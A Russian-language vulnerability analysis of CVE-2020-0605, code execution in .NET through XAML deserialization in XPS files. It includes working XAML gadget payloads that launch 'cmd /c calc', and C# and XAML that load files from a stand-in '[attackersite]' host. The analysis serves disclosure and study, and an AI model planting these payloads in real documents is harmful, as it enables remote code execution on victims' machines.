tags: windows - exploit
Анализ CVE-2020-0605 – Выполнение произвольного кода, используя XPS файлы в .NET
Введение
Майкрософт запатчила несколько уязвимостей, связанных с десериализацией XPS файлов. Патч, для CVE-2020-0605, вышедший в январе 2020, не исправлял проблему полностью и в мае 2020 было выпущено еще одно обновление.
Формат XPS предполагался, как замена PDF, но, так и не получил широкого распространения. Microsoft сделала приложение XPS Viewer опциональным по-умолчанию, в последних версиях Windows (в установленных с нуля Windows 10 1083 и выше). XPS Viewer не использует .NET, для показа XPS файлов, поэтому уязвимость его не затронула.
Запатченая уязвимость позволяла проэксплуатировать код, работающий с XPS файлами, используя .NET библиотеки.
Обнаруженные уязвимости также могут являться частью эксплуатации XAML десериализации.
Технический анализ
Каждый XPS файл содержит изображения, шрифты или XML данные в сжатом виде. Для обратки XML документов внутри XPS файлов, используется .NET сериализация XAML.
Пример структуры XPS файла:
File.xps\DiscardControl.xml
File.xps\FixedDocumentSequence.fdseq
File.xps\[Content_Types].xml
File.xps\Documents\1\FixedDocument.fdoc
File.xps\Documents\1\Pages\1.fpage
File.xps\Documents\1\Pages\_rels\1.fpage.rels
File.xps\Documents\1\_rels\FixedDocument.fdoc.rels
File.xps\Metadata\Job_PT-inqy3ql9shqm2dc_mcqr93k5g.xml
File.xps\Metadata\SharedEmpty_PT-cn4rss5oojtjhxzju9tpamz4f.xml
File.xps\Resources\Fonts\0D7703BF-30CA-4254-ABA0-1A8892E2A101.odttf
File.xps\Resources\Images\00F8CA61-B050-4B6A-AFEF-139AA015AC08.png
File.xps\_rels\.rels
File.xps\_rels\FixedDocumentSequence.fdseq.rels
Файлы, с расширениями “.fdseq”, “.fdoc” и “.fpage”, используют XAML сериализацию, реализованную в .NET.
Также можно использовать другие расширения, если соответствующие типы прописаны в Content_Types.xml.
Можно взять простую нагрузку из ysoserial и вставить в любой из этих файлов. Он будет запущен, при чтении XPS файла:
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc"
ObjectType="{x:Type Diag:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
Январский патч защищал только “.fdseq” файл, что позволяло использовать уязвимость, с другим файлами.
Следующий C# код демонстрирует два примера использования XPS файлов в .NET:
XpsDocument myDoc = new XpsDocument(@"http://[attackersite]/test.xps", FileAccess.Read);
var a = myDoc.GetFixedDocumentSequence();
или
PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"http://[attackersite]/test.xps", false);
Хочется отметить, что BAML файлы (BAML - скомпилированная версия XAML) внутри XPS не могли использоваться для эксплуатации в наших тестах, так как они вызывали внутренние ошибки.
Уязвимые .NET библиотеки
Методы Load и Validate класса XpsValidatingLoader (внутренний класс System.Windows.Documents), вызывают другой приватный метод, который использует XamlReader.Load и могут привести к выполнению произвольного кода, при обработке вредоносного XAML.
System.Windows.Documents.XpsValidatingLoader -> внутренний класс
Load -> внутренний метод, используется в:
System.Windows.Documents.PageContent
System.Windows.Documents.FixedDocument
System.Windows.Documents.DocumentReference
Validate -> внутренний метод, используется в:
System.Windows.Documents.FixedDocument
Вышеуказанные внутренние файлы классов затем используются другими классами, которые в конце концов будут доступны публично.
XAML гаджеты
Можно использовать уязвимый код, для добавления XAML гаджетов из ysoserial:
Использование FixedDocumentSequence и внешнего файла:
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<DocumentReference Source="http://[attackersite]/payload.xaml" />
</FixedDocumentSequence>
Использование FixedDocumentSequence и свойства Resources:
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocumentSequence.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocumentSequence.Resources>
</FixedDocumentSequence>
Использование FixedDocument и внешнего файла:
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
<PageContent Source="http://[attackersite]/payload.xaml" Height="1056" Width="816" />
</FixedDocument>
использование FixedDocument и свойства Resources:
<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<FixedDocument.Resources>
<ObjectDataProvider MethodName="Start" x:Key="">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
</FixedDocument.Resources>
</FixedDocument>